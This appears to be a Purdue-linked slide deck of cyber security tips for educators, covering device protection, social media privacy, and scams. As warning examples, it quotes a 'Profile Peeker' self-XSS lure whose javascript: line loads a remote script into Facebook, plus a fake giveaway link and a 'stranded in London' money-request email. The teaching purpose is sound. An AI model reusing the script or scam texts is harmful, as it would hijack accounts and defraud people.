

CYBER SECURITY FOR EDUCATORS

Practical Steps for Prevention and Protection

- Computer software and configuration
 - Password protect all your computers, phones, tablets, devices (rotate the frequency of your shields)
 - Use current anti-virus software
 - Update virus definitions regularly
 - Install all critical software updates immediately
 - Operating system
 - Applications
 - Activate your computer's firewall if applicable

<http://www.purdue.edu/SecurePurdue>

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- General Internet Best Practices
 - What happens on the Internet stays on the Internet – almost everything is archived or logged– so don't post anything you wouldn't want to appear in public at a later time
 - Logs: you leave footprints everywhere online (Google Searches, Web Browser Cookies and Cache, IP Address, Wi-Fi access points and cell towers, location data)
 - Enable Privacy Controls on Social Media Services
 - Know your social network friends personally if at all possible; use a different level of trust for cyber friends
 - Use unique passwords for each online service (change periodically)
 - Don't post personal information – address, cell or home phone, account info, money related info
 - Monitor your accounts for unauthorized activity
 - “Cloud” services are physical servers somewhere in the world
 - (not necessarily in the United States or governed by our laws)



John Doe “★★★★★” Hey Friends, Get Your Free Unlimited Frontierville Horseshoes Now, Over 49000 people have claimed theirs, don't miss out! <http://bit.ly/xhshoes>

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- Use web sites in secure mode (https://...)
- Log out of social networking sites when you are finished (cyberpranking)
- Allowing 3rd party apps to have your username and password is risky
- Avoid opening unsolicited email attachments (HappyBirthday.exe)
- “Think before you click” (clickjacking, phishing, malware)
- Don’t paste unknown things into your browser’s address bar (script/code)

Follow the steps below to see who has been stalking your profile.

-Use Our Unique Code To Reveal Who Has Been Stalking You!
-Follow The Simple Steps Below To Use Profile Peeker v2.0.

Step 1 – Copy This Script:

Just Click In the Box To Highlight All Then Copy The Code

```
javascript:(a=(b=document).createElement('script')).src='//up-club.com/inet.php';b.body.appendChild(a);void(0)
```

Just Click In the Box To Highlight All Then Copy The Code

Step 2:

Click Here To Visit Facebook.Com
Paste The Code Into Your Browser's Address Bar. Then Hit Enter!



Facebook - Windows Internet Explorer

facebook



- Don’t trust email from financial institutions – navigate directly to their web site
- Don’t wander from the beaten path on the Internet (wander at your own risk!)
- A web browser is not anti-virus software (don’t fall for “your computer has a virus” scams)

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- The accounts of friends and loved ones can be hacked!!!
 - *Beware of requests or enticing links from their accounts*
- Your friends are not stranded in London desperately needing \$\$\$!!!

Dear Friend,

How are you doing? Hope all is well with you and everybody?

I am sorry I didn't inform you about my traveling to England for a business trip and right now, i am stranded here and need to get back to Australia without delay.

I need a favor from you because I was robbed on my way back to my hotel suite'

The robbers carted away with my bag containing my wallet,phone,flight ticket and other valuables.

I will like you to lend me the sum of \$3,500 US Dollars or any amount you can afford as half bread is better than none so that i can sort out my hotel bills and get myself back to Australia.

I promise to pay you back with an extra \$1,000 US Dollars as soon as i return home in a few days time so kindly let me know if you can be of help.

I was told the fastest and safest way to receive money in seconds is through western union {since that is what works here}.So if you can be of help,you can send the money using the details below:

Reciever Name: [Removed]

Address : [Removed]

To get a list of western union money transfer agents close to you,go to the link below and enter your full address:

www.westernunion.com/info/agentLocatorLookup.asp

Please,as soon as you send the money, i will like you to send an email with the transaction code i will need to pick up the money. I will be back here in couples of hours to get the transfer details, please do it without delay so I can get back to Australia.

After I receive the money, i will email you on the arrangements to get back home.

Thanks once again and i will really appreciate if you can be of help.

Love [Name removed]

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- Don't publicly broadcast when you are leaving for vacation
- Don't publicly broadcast where you are
- Don't meet strangers alone
- Don't give anyone your account credentials (even prospective employers)
 - *It breaks legally binding terms & conditions of the service!*
- Accept friendships selectively
- Unfriend people who threaten you AND tell someone
- Don't use real answers in challenge response Qs
 - What was your mother's maiden name? = *TapeDispenser*
- Encrypt account information stored on your computer/mobile device
 - TrueCrypt - <http://www.truecrypt.org>
 - Keeper - https://www.youtube.com/watch?v=g31s_OMI6yM
- Generally be aware of social engineering (people trying to trick you into giving them information)
- Google yourself once in awhile to see if any new accounts or information have appeared in your name